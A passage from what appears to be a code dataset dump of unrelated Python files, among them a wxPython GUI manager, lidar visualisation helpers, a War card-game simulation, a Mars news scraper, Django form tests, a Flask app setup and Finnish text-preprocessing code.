self._file_mgr = FileManager(menubar)\n self.exit_handler = self._file_mgr.on_exit\n self._edit_mgr = EditManager(menubar, uv_edit_command)\n self._view_mgr = ViewManager(menubar, self._viewport)\n self._creation_mgr = CreationManager(menubar)\n\n self._component_ids = (\"menubar\", \"main_toolbar\", \"history_toolbar\",\n \"panel_stack\", \"render_mode_toolbar\", \"grid_toolbar\")\n\n def update_object_name_tag(is_shown, name=\"\", pos=None, is_selected=False):\n\n if not is_shown:\n ToolTip.hide()\n return\n\n color = (255, 255, 0, 255) if is_selected else (255, 255, 255, 255)\n bitmap = ToolTip.create_bitmap(name, wx.Colour(*color))\n viewport_pos = self._viewport.GetScreenPosition()\n mouse_pos = wx.Point(*pos) + viewport_pos\n ToolTip.show(bitmap, mouse_pos, use_timer=False)\n\n Mgr.add_app_updater(\"object_name_tag\", update_object_name_tag)\n Mgr.add_app_updater(\"uv_edit_init\", self.__init_uv_editing)\n\n def setup(self):\n\n self._components[\"main_toolbar\"].setup()\n self._edit_mgr.setup()\n self._creation_mgr.setup()\n self._view_mgr.setup()\n self._components[\"hierarchy_panel\"].setup()\n self._components[\"prop_panel\"].setup()\n self._components[\"material_panel\"].setup()\n\n def enter_selection_mode(prev_state_id, is_active):\n\n Mgr.do(\"reset_viewport_border_color\")\n self.__enable()\n\n def enter_navigation_mode(prev_state_id, is_active):\n\n Mgr.do(\"set_viewport_border_color\", (255, 255, 255))\n\n nav_states = (\"panning\", \"orbiting\", \"zooming\", \"dollying_forward\",\n \"dollying_backward\")\n\n add_state = Mgr.add_state\n add_state(\"selection_mode\", 0, enter_selection_mode)\n add_state(\"navigation_mode\", -100, enter_navigation_mode)\n enter_state = lambda prev_state_id, is_active: self.__disable(show=False)\n exit_state = lambda next_state_id, is_active: self.__enable()\n\n for state in nav_states:\n add_state(state, -110, enter_state, exit_state)\n\n add_state(\"processing\", -200, enter_state, exit_state)\n add_state(\"processing_no_cancel\", -200, enter_state, exit_state)\n\n def __init_uv_editing(self):\n\n from .uv_edit import UVEditGUI\n\n self._components[\"uv_edit_gui\"] = uv_gui = UVEditGUI()\n uv_gui.setup()\n\n def handle_key_down(self, key, mod_code, hotkey, hotkey_repeat):\n\n if Button.handle_hotkey(hotkey, hotkey_repeat):\n return\n\n menubar = self._components[\"menubar\"]\n\n if menubar.is_enabled():\n menubar.handle_hotkey(hotkey)\n\n def handle_key_up(self, key):\n pass\n\n def get_viewport_data(self):\n\n size = self._viewport.get_size()\n handle = self._viewport.GetHandle()\n callback = self._viewport.get_callback()\n\n return size, handle, callback\n\n def __add_disabler(self, disabler_id, disabler, ids=None):\n\n comp_ids = self._component_ids if ids is None else ids\n self._disablers[disabler_id] = (disabler, comp_ids)\n\n def __remove_disabler(self, disabler_id):\n\n if disabler_id in self._disablers:\n del self._disablers[disabler_id]\n\n def __enable_component(self, comp_id, disablers):\n\n for disabler in disablers:\n if disabler():\n return\n\n self._components[comp_id].enable()\n\n def __enable(self):\n\n disablers = {}\n\n for disabler, comp_ids in self._disablers.itervalues():\n for comp_id in comp_ids:\n disablers.setdefault(comp_id, []).append(disabler)\n\n for comp_id in self._component_ids:\n self.__enable_component(comp_id, disablers.get(comp_id, []))\n\n def __disable(self, show=True, ids=None):\n\n if ids:\n for comp_id in ids:\n self._components[comp_id].disable(show)\n else:\n for comp_id in self._component_ids:\n self._components[comp_id].disable(show)\n\n def deactivate(self):\n\n self._components[\"main_toolbar\"].deactivate()\n","sub_path":"src/gui/components/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":9779,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"193188968","text":"\"\"\"Localized-GMLVQ example using the Moons dataset.\"\"\"\n\nimport argparse\n\nimport prototorch as pt\nimport pytorch_lightning as pl\nimport torch\n\nif __name__ == \"__main__\":\n # Command-line arguments\n parser = argparse.ArgumentParser()\n parser = pl.Trainer.add_argparse_args(parser)\n args = parser.parse_args()\n\n # Reproducibility\n pl.utilities.seed.seed_everything(seed=2)\n\n # Dataset\n train_ds = pt.datasets.Moons(num_samples=300, noise=0.2, seed=42)\n\n # Dataloaders\n train_loader = torch.utils.data.DataLoader(train_ds,\n batch_size=256,\n shuffle=True)\n\n # Hyperparameters\n hparams = dict(\n distribution=[1, 3],\n input_dim=2,\n latent_dim=2,\n )\n\n # Initialize the model\n model = pt.models.LGMLVQ(\n hparams,\n prototypes_initializer=pt.initializers.SMCI(train_ds),\n )\n\n # Compute intermediate input and output sizes\n model.example_input_array = torch.zeros(4, 2)\n\n # Summary\n print(model)\n\n # Callbacks\n vis = pt.models.VisGLVQ2D(data=train_ds)\n es = pl.callbacks.EarlyStopping(\n monitor=\"train_acc\",\n min_delta=0.001,\n patience=20,\n mode=\"max\",\n verbose=False,\n check_on_train_epoch_end=True,\n )\n\n # Setup trainer\n trainer = pl.Trainer.from_argparse_args(\n args,\n callbacks=[\n vis,\n es,\n ],\n weights_summary=\"full\",\n accelerator=\"ddp\",\n )\n\n # Training loop\n trainer.fit(model, train_loader)\n","sub_path":"examples/lgmlvq_moons.py","file_name":"lgmlvq_moons.py","file_ext":"py","file_size_in_byte":1599,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"445761680","text":"import open3d as o3\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom matplotlib.patches import Rectangle, Circle\n\ncuboid_vertex_indexes = [\n [0, 1],\n [1, 2],\n [2, 3],\n [3, 0],\n [4, 5],\n [5, 6],\n [6, 7],\n [7, 4],\n [0, 4],\n [1, 5],\n [2, 6],\n [3, 7]\n]\n\ndef vis_projected2d(img, lidar_pcl, bbox=None, distance='Nan', cuboids=None, show_fig=True):\n if not isinstance(img, np.ndarray):\n img = np.array(img)\n\n points_uv = lidar_pcl['points_uv']\n reflectance = lidar_pcl['reflectance']\n h, w, *_ = img.shape\n\n pts, rs = list(zip(*[(pt, r) for pt, r in zip(points_uv, reflectance) if 0 <= pt[0] < w and 0 <= pt[1] < h]))\n pts_xy = list(zip(*pts))\n\n fig = plt.figure(figsize=(15, 15))\n plt.imshow(img)\n plt.scatter(pts_xy[0], pts_xy[1], c=rs, s=2.2, cmap='hot')\n if bbox is not None:\n p1, p2 = bbox\n rect = Rectangle(p1, p2[0] - p1[0], p2[1] - p1[1], linewidth=1, edgecolor='r', facecolor='none')\n ax = plt.gca()\n ax.add_patch(rect)\n\n plt.text(p1[0], p1[1] - (p1[1] - p2[1]) + 30, str(distance) + \" m.\", c='g', fontsize=24)\n\n if cuboids is not None:\n for cube in cuboids:\n for vertex_index in cuboid_vertex_indexes:\n p1, p2 = cube[vertex_index[0]], cube[vertex_index[1]]\n rect = Rectangle(p1, p2[0] - p1[0], p2[1] - p1[1], linewidth=1, edgecolor='r', facecolor='none')\n ax = plt.gca()\n ax.add_patch(rect)\n\n circ1 = Circle(p1, 20, color='b', alpha=0.5)\n circ2 = Circle(p2, 20, color='b', alpha=0.5)\n ax.add_patch(circ1)\n ax.add_patch(circ2)\n\n\n\n plt.title(\"Projected lidar points.\")\n plt.axis('off')\n if show_fig:\n plt.show()\n return fig\n\n\ndef vis_o3_pcl(points, downsample=False, voxel_size=0.3):\n pcl_in = {\n 'points': [[p.x, p.y, p.z] for p in points],\n 'reflectance': [p.r for p in points]\n }\n\n pcd = create_open3d_pc(pcl_in)\n if downsample:\n pcd = pcd.voxel_down_sample(voxel_size=voxel_size)\n o3.visualization.draw_geometries([pcd])\n\n\ndef vis_project_bev_bbox(lidar_pts, points_in):\n plt.figure(figsize=(15, 15))\n plt.scatter([p.y for p in points_in], [p.x for p in points_in], s=0.25)\n plt.scatter([p[0] for p in lidar_pts],\n [p[2] for p in lidar_pts], s=0.015)\n\n plt.xlim(-50, 50)\n plt.ylim(-50, 50)\n plt.show()\n\n\ndef vis_project_bev(lidar_pts):\n plt.figure(figsize=(15, 15))\n plt.scatter([p[1] for p in lidar_pts], [p[0] for p in lidar_pts], s=0.015)\n plt.xlim(-50, 50)\n plt.ylim(-50, 50)\n\n\ndef vis_project_2d_inv(image, projected, points_in):\n plt.imshow(image)\n print()\n plt.scatter([1920 - p[0] for p in projected], [1208 - p[1] for p in projected],\n c=[p[2] for p in projected],\n s=1)\n plt.scatter([1920 - p.u for p in points_in], [1208 - p.v for p in points_in], s=1)\n plt.xlim(0, 1920)\n plt.ylim(1208, 0)\n plt.show()\n\n\ndef vis_projected_2d(image, projected, points_in, p1, p2, min_d):\n plt.figure(figsize=(12,7))\n import scipy\n # plt.imshow(scipy.ndimage.rotate(image, 180), origin='upper')\n # plt.imshow(image, origin='upper')\n # plt.scatter(projected[:, 0], projected[:, 1], s=0.6)\n image = image.rotate(180)\n image = np.array(image)\n plt.imshow(image)\n\n plt.scatter([p[0] for p in projected], [p[1] for p in projected],\n c= [p[2] for p in projected], cmap='hot',\n s=5.6)\n plt.scatter([p.u for p in points_in], [p.v for p in points_in], c='g', s=3.6)\n ax = plt.gca()\n\n from matplotlib.patches import Rectangle\n rect = Rectangle(p1, p2[0]-p1[0], p2[1]-p1[1],linewidth=1,edgecolor='r',facecolor='none')\n\n plt.text(p1[0], p1[1] - (p1[1] - p2[1]) + 30, str(min_d) + \" m.\", fontsize=24)\n\n ax.add_patch(rect)\n plt.xlim(0, 1920)\n plt.ylim(0, 1208)\n plt.show()\n return plt\n\n\n# Create array of RGB colour values from the given array of reflectance values\ndef colours_from_reflectances(reflectances):\n return np.stack([reflectances, reflectances, reflectances], axis=1)\n\n\ndef create_open3d_pc(lidar, cam_image=None):\n # create open3d point cloud\n pcd = o3.geometry.PointCloud()\n\n # assign point coordinates\n pcd.points = o3.utility.Vector3dVector(lidar['points'])\n\n # assign colours\n if cam_image is None:\n median_reflectance = np.median(lidar['reflectance'])\n colours = colours_from_reflectances(lidar['reflectance']) / (median_reflectance * 5)\n\n # clip colours for visualisation on a white background\n colours = np.clip(colours, 0, 0.75)\n else:\n rows = (lidar['row'] + 0.5).astype(np.int)\n cols = (lidar['col'] + 0.5).astype(np.int)\n colours = cam_image[rows, cols, :] / 255.0\n\n pcd.colors = o3.utility.Vector3dVector(colours)\n\n return pcd","sub_path":"vis.py","file_name":"vis.py","file_ext":"py","file_size_in_byte":4909,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"21598408","text":"# Attempted solution of Riddler at https://fivethirtyeight.com/features/riddler-nation-goes-to-war/\n\nfrom random import shuffle\n\n# Play the next cards and break any ties. Return True if\n# there are more cards to play. \ndef PlayContinues():\n\tglobal MyDeck,YourDeck,GameResult,CardsDown,Rep\n\t# The Pot is a list of all the cards at play in the round\n\tPot = []\n\twhile True:\n\t\tMyCard = MyDeck.pop()\n\t\tYourCard = YourDeck.pop()\n\t\tPot.extend([MyCard,YourCard])\n\t\tshuffle(Pot)\n\t\tif MyCard > YourCard:\n\t\t\tMyDeck = Pot + MyDeck\n\t\t\tif len(YourDeck) == 0:\n\t\t\t\t# GameResult: 1 if win, 2 if I don't win, and \n\t\t\t\t# 0 if game continues.\n\t\t\t\tGameResult = 1\n\t\t\telse:\n\t\t\t\tGameResult = 0\n\t\t\tbreak\n\t\telif YourCard > MyCard:\n\t\t\tYourDeck = Pot + YourDeck\n\t\t\tif len(MyDeck) == 0:\n\t\t\t\tGameResult = 2\n\t\t\telse: \n\t\t\t\tGameResult = 0\n\t\t\tbreak\n\t\telse:\n\t\t\t# A tie (war).\n\t\t\tif len(MyDeck) < 1 + CardsDown:\n\t\t\t\t# I don't have enough cards to play a tiebreak\n\t\t\t\tif len(YourDeck) < 1 + CardsDown:\n\t\t\t\t\t# And neither do you. Start the game from scratch.\n\t\t\t\t\tRep -= 1\n\t\t\t\tGameResult = 2\n\t\t\t\tbreak\n\t\t\telif len(YourDeck) < 1 + CardsDown:\n\t\t\t\tGameResult = 1\n\t\t\t\tbreak\n\t\t\telse:\n\t\t\t\t# Play the tie-break, by first laying down the face-down\n\t\t\t\t# cards and then continuing the \"while True\" loop\n\t\t\t\tfor _ in range(CardsDown):\n\t\t\t\t\tPot.extend([MyDeck.pop(),YourDeck.pop()])\n\treturn (GameResult == 0)\n\n# You have four of every number from 0 to 11, while I have just four 12s\n\n# Global parameters\n\n# Ten million reps take less than ten minutes when this\n# is run with PyPy (much faster than stock Python).\nReps = 1000000\n\n# How many cards go face-down in a tie-break?\nCardsDown = 1\n\n# Main loop\n\nYourCards = [n/4 for n in range(48)] \n\n# For normal, fair-deal War uncomment the next line.\n#Deck = [n/4 for n in range(52)]\n\nMyWins = 0\nGamesWithNRounds = [0]*8000\nLengthAccum = 0\nfor Rep in range(Reps):\n\tMyDeck = [12]*4\n\tshuffle(MyDeck)\n\tYourDeck = list(YourCards)\n\tshuffle(YourDeck)\n\t# For normal, fair-deal War, comment the previous three\n\t# and uncomment next three lines.\n#\tshuffle(Deck)\n#\tMyDeck = Deck[:26]\n#\tYourDeck = Deck[26:]\n\tRounds = 1\n\twhile PlayContinues():\n\t\tRounds += 1\n\tGamesWithNRounds[Rounds] += 1\n\tLengthAccum += Rounds\n\tif GameResult == 1:\n\t\tMyWins += 1\nprint (\"WinRate, GameLength:\", 1.0*MyWins/Reps, 1.0*LengthAccum/Reps)\n# Uncomment below for plottable list of frequencies of round lengths\n#for i in range(1,4000):\n#\tprint 1.0*GamesWithNRounds[i]/Reps","sub_path":"08-Milestone Project - 2/CardWars.py","file_name":"CardWars.py","file_ext":"py","file_size_in_byte":2431,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"268414397","text":"#!/usr/bin/env python\n# coding: utf-8\n# In[1]:\n# Import Splinter, BeautifulSoup, and Pandas\nfrom splinter import Browser\nfrom bs4 import BeautifulSoup as soup\nimport pandas as pd\n\n# In[3]:\n# Set the executable path and initialize the chrome browser in splinter\nbrowser = Browser(\"chrome\", executable_path=\"chromedriver\", headless=True)\n\n# ### Visit the NASA Mars News Site\n# In[4]:\n# Visit the mars nasa news site\nurl = \"https://mars.nasa.gov/news/\"\nbrowser.visit(url)\n# Optional delay for loading the page\nbrowser.is_element_present_by_css(\"ul.item_list li.slide\", wait_time=1)\n\n\n# In[5]:\n\n\n# Convert the browser html to a soup object and then quit the browser\nhtml = browser.html\nnews_soup = soup(html, \"html.parser\")\nslide_elem = news_soup.select_one(\"ul.item_list li.slide\")\n\n# In[6]:\nslide_elem.find(\"div\", class_=\"content_title\")\n# In[7]:\n\n\n# Use the parent element to find the first a tag and save it as `news_title`\nnews_title = slide_elem.find(\"div\", class_=\"content_title\").get_text()\nnews_title\n\n\n# In[8]:\n\n\n# Use the parent element to find the paragraph text\nnews_p = slide_elem.find(\"div\", class_=\"article_teaser_body\").get_text()\nnews_p\n\n\n# ### JPL Space Images Featured Image\n\n# In[9]:\n\n\n# Visit URL\nurl = \"https://www.jpl.nasa.gov/spaceimages/?search=&category=Mars\"\nbrowser.visit(url)\n\n\n# In[10]:\n\n\n# Find and click the full image button\nfull_image_elem = browser.find_by_id(\"full_image\")\nfull_image_elem.click()\n\n\n# In[11]:\n\n\n# Find the more info button and click that\nbrowser.is_element_present_by_text(\"more info\", wait_time=1)\nmore_info_elem = browser.links.find_by_partial_text(\"more info\")\nmore_info_elem.click()\n\n\n# In[12]:\n\n\n# Parse the resulting html with soup\nhtml = browser.html\nimg_soup = soup(html, \"html.parser\")\n\n\n# In[13]:\n\n\n# find the relative image url\nimg_url_rel = img_soup.select_one(\"figure.lede a img\").get(\"src\")\nimg_url_rel\n\n\n# In[14]:\n\n\n# Use the base url to create an absolute url\nimg_url = f\"https://www.jpl.nasa.gov{img_url_rel}\"\nimg_url\n\n\n# ### Mars Facts\n# In[15]:\ndf = pd.read_html(\"http://space-facts.com/mars/\")[0]\ndf.head()\n# In[16]:\ndf.columns = [\"Description\", \"Mars\"]\ndf.set_index(\"Description\", inplace=True)\ndf\n# In[17]:\ndf.to_html()\n# ### Mars WeatheR\n# In[18]:\n# Visit the weather website\nurl = \"https://mars.nasa.gov/insight/weather/\"\nbrowser.visit(url)\n# In[19]:\n# Parse the data\nhtml = browser.html\nweather_soup = soup(html, \"html.parser\")\n# In[20]:\n# Scrape the Daily Weather Report table\nweather_table = weather_soup.find(\"table\", class_=\"mb_table\")\n# print(weather_table.prettify())\n\n# # D1: Scrape High-Resolution Mars’ Hemisphere Images and Titles\n# ### Hemispheres\n\n# In[21]:\n# 1. Use browser to visit the URL\nurl = \"https://astrogeology.usgs.gov/search/results?q=hemisphere+enhanced&k1=target&v1=Mars\"\nbrowser.visit(url)\n\nhtml = browser.html\nsoup1 = soup(html, \"html.parser\")\nmain_url = soup1.find_all(\"div\", class_=\"item\")\n\nprint(\"TESTING!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\")\n# 2. Create a list to hold the images and titles.\ntitles = []\nhemisphere_img_urls = []\nhemisphere_image_urls = []\n# 3. Write code to retrieve the image urls and titles for each hemisphere.\nfor temp in main_url:\n titles.append(temp.find(\"h3\").text)\n hemisphere_url1 = (\n \"https://astrogeology.usgs.gov\"\n + temp.find(\"div\", class_=\"description\").a[\"href\"]\n )\n hemisphere_img_urls.append(hemisphere_url1)\n\nfor i in range(len(hemisphere_img_urls)):\n temp_dict = {}\n browser.visit(hemisphere_img_urls[i])\n html = browser.html\n soup1 = soup(html, \"html.parser\")\n main_url = soup1.find_all(\"div\", class_=\"downloads\")\n for temp in main_url:\n temp_dict[\"title\"] = titles[i]\n temp_dict[\"img_url\"] = temp.find_all(\"li\")[1].a[\"href\"]\n hemisphere_image_urls.append(temp_dict)\n\n\n# 4. Print the list that holds the dictionary of each image url and title.\nprint(hemisphere_image_urls)\n\n\n# 5. Quit the browser\nbrowser.quit()\n","sub_path":"Mission_To_Mars/Mission_to_Mars_Challenge.py","file_name":"Mission_to_Mars_Challenge.py","file_ext":"py","file_size_in_byte":3938,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"25044618","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n# 使用scatter()绘制一系列点\nimport matplotlib.pyplot as plt\n\nx_values = [1, 2, 3, 4, 5]\ny_values = [1, 4, 9, 16, 25]\nplt.xlabel('value', fontsize=14)\nplt.title('Square Numbers', fontsize=24)\nplt.ylabel('square of value', fontsize=14)\nplt.tick_params(axis='both', which='major', labelsize=14)\nplt.scatter(x_values, y_values, s=100) # 点的尺寸\nplt.show()\n# 自动计算数据\nx_values = list(range(1, 1001))\ny_values = [x**2 for x in x_values]\nplt.xlabel('value', fontsize=14)\nplt.title('Square Numbers', fontsize=24)\nplt.ylabel('square of value', fontsize=14)\nplt.tick_params(axis='both', which='major', labelsize=14)\nplt.scatter(x_values, y_values, edgecolor='red', s=20)\nplt.axis([0, 1100, 0, 1100000])\nplt.savefig('square_demo.png', bbox_inches='tight') # 自动保存图片\nplt.show()\n# CSV文件格式\nimport csv\n\nfilename = 'weather.csv'\nwith open(filename) as f:\n reader = csv.reader(f)\n header_row = next(reader)\n print(header_row) # 打印文件头\n\n# 打印文件头位置\nfilename = 'weather.csv'\nwith open(filename) as f:\n reader = csv.reader(f)\n header_row = next(reader)\n for index, column_header in enumerate(header_row):\n print(index, column_header)\n\n# 提取并读取数据\nimport csv\n\nfilename = 'weather.csv'\nwith open(filename) as f:\n reader = csv.reader(f)\n header_row = next(reader)\n highs = []\n for row in reader:\n highs.append(int(row[1])) # 从第二行开始读取第2列数据row[1]\n print(highs)\n\n# 绘制气温表\nimport csv\nimport matplotlib.pyplot as plt\nimport matplotlib as mpl\nfrom datetime import datetime\n\nfilename = 'weather.csv'\nwith open(filename) as f:\n reader = csv.reader(f)\n header_row = next(reader)\n highs = []\n lows = []\n dates = []\n for row in reader:\n highs.append(int(row[1])) # 从第二行开始读取第2列数据row[1]\n lows.append(int(row[3]))\n current_date = datetime.strptime(row[0], \"%Y-%m-%d\")\n dates.append(current_date)\n print(highs)\n print(lows)\n\nmpl.rcParams['font.sans-serif'] = [u'SimHei'] # FangSong/黑体 FangSong/KaiTi\nmpl.rcParams['axes.unicode_minus'] = False\nfig = plt.figure(dpi=128, figsize=(10, 6))\nfig.autofmt_xdate()\nplt.plot(dates, highs, c='red', lw=1)\nplt.plot(dates, lows, c='blue', lw=1)\nplt.title('每日最高和最低气温', fontsize=16)\nplt.xlabel('', fontsize=16)\nplt.ylabel('温度(F)', fontsize=16)\nplt.tick_params(axis='both', labelsize='16')\nplt.show()\n# Python3 操作json文件\n# 1. 将字符串转化为json串(dumps)\nimport json\na=\"\\\"foo\\bar\"\nresult = json.dumps(a)\nprint(type(result), result, sep='\\n')\n# 2.将列表转化为json串(dumps)\na = ['foo', {'bar': ('baz', None, 1.0, 2)}]\nresult = json.dumps(a)\nprint(type(result), result, sep='\\n')\n# 3. 将字典转化为json串(dumps)\na = {'name': 'curry', 'age': 30, 'city': 'OKC'}\nresult = json.dumps(a)\nprint(type(result), result, sep='\\n')\n# 4.字典转化为json串时,进行排序(dumps)\na={\"c\": 0, \"b\": 0, \"a\": 0}\nresult = json.dumps(a, sort_keys=True)\nprint(result)\n# 5.定义json串缩进(dumps)\na = [1, 2, 3, {'4': 5, '6': 7}]\nresult = json.dumps(a, indent=4)\nprint(result)\n# 6. 将产生的json串输出到文件流(dump)即保存文件\nfilename = open('a.txt', 'w')\na = [1, 2, 3, {'4': 5, '6': 7}]\njson.dump(a, filename)\nfilename.close()\n# 推荐方法:json文件写操作\nb = [1, 2, 3, {'4': 5, '6': 7}]\nfilename = 'b.json'\nwith open(filename, 'w', encoding='utf-8') as f:\n json.dump(b, f)\n# 解码(load)\n# 1. 将json串解码为列表(loads)\njson_str = '[\"foo\", {\"bar\":[\"baz\", null, 1.0, 2]}]'\nresult = json.loads(json_str)\nprint(result)\nprint(type(result))\n# 2. 将json串解码为字典(loads)\njson_str = '{\"a\": 0, \"b\": 0, \"c\": 0}'\nresult = json.loads(json_str)\nprint(result)\nprint(type(result))\n# 3. 从文件流解码json串(load)读取已经保存的文件\nfilename = open(\"a.txt\", 'r')\n# json_str='{\"a\": 0, \"b\": 0, \"c\": 0}'\nresult = json.load(filename)\nprint(result)\nfilename.close()\n\n# 推荐操作:json文件读操作\nnumbers_demo = [1, 2, 3, 4, 5]\nfilename = 'c.json'\nwith open(filename, 'w', encoding='utf-8') as f:\n json.dump(numbers_demo, f)\n# 读已经保存的文件\nfilename = 'c.json'\nwith open(filename, 'r', encoding='utf-8') as f:\n result = json.load(f)\n print(result)\n","sub_path":"scatter_demo.py","file_name":"scatter_demo.py","file_ext":"py","file_size_in_byte":4362,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"168897906","text":"from __future__ import unicode_literals\n\nfrom django.test import TestCase\n\nfrom molo.forms.forms import CharacterCountWidget, MultiLineWidget\n\n\nclass TestCharacterCountWidget(TestCase):\n def test_character_count_widget_render(self):\n widget = CharacterCountWidget()\n widget.attrs['maxlength'] = 10\n html = widget.render('field-name', 'field-value')\n self.assertTrue(html.endswith('Maximum: 10'))\n\n def test_character_count_widget_no_maxlength_raises_error(self):\n widget = CharacterCountWidget()\n with self.assertRaises(KeyError):\n widget.render('field-name', 'field-value')\n\n\nclass TestMultiLineWidget(TestCase):\n def test_multi_line_widget_render(self):\n widget = MultiLineWidget()\n html = widget.render('field-name', 'field-value', {'my-attr': 1})\n self.assertTrue(html.endswith('No limit'))\n","sub_path":"molo/forms/tests/test_forms.py","file_name":"test_forms.py","file_ext":"py","file_size_in_byte":904,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"299918517","text":"import sys\n\nimport os\nfrom domain.model_base import Base\nfrom flask import Flask\nfrom flask.ext.injector import FlaskInjector\nfrom flask.ext.sqlalchemy import SQLAlchemy\nfrom injector import Module, singleton, Injector\n\n__author__ = 'Frito'\n\n\ndef install_secret_key(application, filename='secret_key'):\n \"\"\"Configure the SECRET_KEY from a file\n in the instance directory.\n\n If the file does not exist, print instructions\n to create it from a shell with a random key,\n then exit.\n \"\"\"\n filename = os.path.join(application.instance_path, filename)\n\n try:\n application.config['SECRET_KEY'] = open(filename, 'rb').read()\n except IOError:\n print('Error: No secret key. Create it with:')\n full_path = os.path.dirname(filename)\n if not os.path.isdir(full_path):\n print('mkdir -p {filename}'.format(filename=full_path))\n print('head -c 24 /dev/urandom > {filename}'.format(filename=filename))\n sys.exit(1)\n\n\ndef build_app():\n CONFIG_OBJECT = os.environ.get('RAG_CONFIG', 'config')\n\n app = Flask(__name__, template_folder='app/templates', static_folder='app/static')\n app.config.from_object(CONFIG_OBJECT)\n\n if not app.config['DEBUG']:\n install_secret_key(app)\n\n # The from/import being here is okay since we do not want __init__ in our packages executing yet.\n from app.users.controllers import mod as users_module # noqa: skips the pep8 violation here.\n from app.siteroot.controller import mod as siteroot_module # noqa: skips the pep8 violation here.\n from app.RAG.controllers import mod as rag_module # noqa: skips the pep8 violation here.\n app.register_blueprint(users_module)\n app.register_blueprint(siteroot_module)\n app.register_blueprint(rag_module)\n\n injector = Injector([ApplicationInitializer(app)])\n FlaskInjector(app=app, injector=injector)\n\n return app\n\n\ndef main():\n app = build_app()\n app.run(host='127.0.0.1', port=8000, debug=True)\n\n\nclass ApplicationInitializer(Module):\n def __init__(self, app):\n self.app = app\n\n def configure(self, binder):\n db = self.configure_db(self.app)\n binder.bind(SQLAlchemy, to=db, scope=singleton)\n\n def configure_db(self, app):\n db = SQLAlchemy(app)\n Base.metadata.create_all(db.engine)\n return db\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":2368,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"604307005","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Jun 22 09:52:01 2017\n\n@author: Jannek\n\"\"\"\nfrom pandas import DataFrame\nimport os\nimport numpy\nimport re\nimport nltk\nfrom nltk.tokenize import WhitespaceTokenizer\nimport string\n#from nltk.corpus import wordnet as wn\n#from nltk.corpus import stopwords\nfrom nltk.stem import SnowballStemmer\n#from nltk.stem import WordNetLemmatizer\nimport string\n\ntranslate_table = dict((ord(char), ' ') for char in string.punctuation) \n\n#wordnet_lemmatizer = WordNetLemmatizer('finnish')\n#snowball_stemmer = SnowballStemmer('finnish')\nstopword_list = nltk.corpus.stopwords.words('finnish')\n\ndef tokenize_text(text,skip=0): \n if skip==0:\n text = text.lower()\n #remove the punctuation using the character deletion step of translate\n #text = text.translate(translate_table) \n #tokens = text.split(' ')\n tokens = WhitespaceTokenizer().tokenize(text) \n tokens = [token.strip() for token in tokens]\n return tokens \n\ndef remove_special_characters(text):\n tokens = tokenize_text(text)\n punc = string.punctuation\n #punc=punc.replace('.','')\n #punc=punc.replace('?','')\n #punc=punc.replace('!','')\n pattern = re.compile('[{}]'.format(re.escape(punc)))\n filtered_tokens = filter(None, [pattern.sub('', token) for token in tokens])\n filtered_text = ' '.join(filtered_tokens)\n return filtered_text\n \ndef remove_stopwords(text):\n tokens = tokenize_text(text)\n filtered_tokens = [token for token in tokens if token not in stopword_list]\n filtered_text = ' '.join(filtered_tokens) \n return filtered_text \n\ndef stemmer(text):\n \n text=tokenize_text(text,skip=1) \n text=[snowball_stemmer.stem(a) for a in text]\n return ' '.join(text)\n\ndef lemmer(text):\n \n text=tokenize_text(text,skip=1) \n text=[wordnet_lemmatizer.stem(a) for a in text]\n return ' '.join(text)\n\ndef normalize_corpus(corpus):\n \n normalized_corpus = corpus.copy() \n for i,val in normalized_corpus.iterrows():\n text = val['text']\n text = remove_special_characters(text)\n #text = remove_stopwords(text)\n #text = stemmer(text) \n normalized_corpus.set_value(i,'text',text)\n \n return normalized_corpus\n\ndef read_files(path):\n for root, dir_names, file_names in os.walk(path):\n for path in dir_names:\n read_files(os.path.join(root, path))\n for file_name in file_names:\n file_path = os.path.join(root, file_name)\n if os.path.isfile(file_path):\n past_header, lines = False, []\n f = open(file_path, encoding='utf-8')\n for line in f:\n if past_header and len(line)>0 and line is not '\\n':\n line=line.rstrip()\n lines.append(line)\n else:\n past_header = True \n f.close()\n content = ' '.join(lines)\n if len(content.split())>50:\n yield file_path, content\n\n\ndef build_data_frame(path, classification):\n rows = []\n index = []\n for file_name, text in read_files(path):\n if len(text.split())>50 and len(text.split())<1000:\n rows.append({'text': text, 'mylabel': classification})\n index.append(file_name)\n if len(rows)<50:\n raise('ERROR: less than 50 samples!')\n data_frame = DataFrame(rows, index=index)\n return data_frame\n\ndef shuffle(df, n=1, axis=0): \n print('\\n\\n!!!!! WARNING: shuffling data for testing purposes !!!!!\\n')\n df = df.copy()\n for _ in range(n):\n df.apply(numpy.random.shuffle, axis=axis)\n return df\n\ndef getdata():\n \"\"\"\n DATA\n \"\"\"\n SOURCES=[\n #('C:/Users/Jannek/Documents/git_repos/text_classification/data/bbs_sport/football','FOOTBALL'),\n #('C:/Users/Jannek/Documents/git_repos/text_classification/data/bbs_sport/rugby','RUGBY') \n #('C:/Users/Jannek/Documents/git_repos/text_classification/data/bbc/business','BUSINESS'),\n #('C:/Users/Jannek/Documents/git_repos/text_classification/data/bbc/politics','POLITICS'),\n #('C:/Users/Jannek/Documents/git_repos/text_classification/data/bbc/tech','TECH') \n (r'/media/jannek/Data/JanneK/Documents/git_repos/text_classification/data/TALOUS','TALOUS'), \n (r'/media/jannek/Data/JanneK/Documents/git_repos/text_classification/data/TERVEYS','TERVEYS') \n\t\t#(r'D:/JanneK/Documents/git_repos/text_classification/data/TALOUS','TALOUS'), 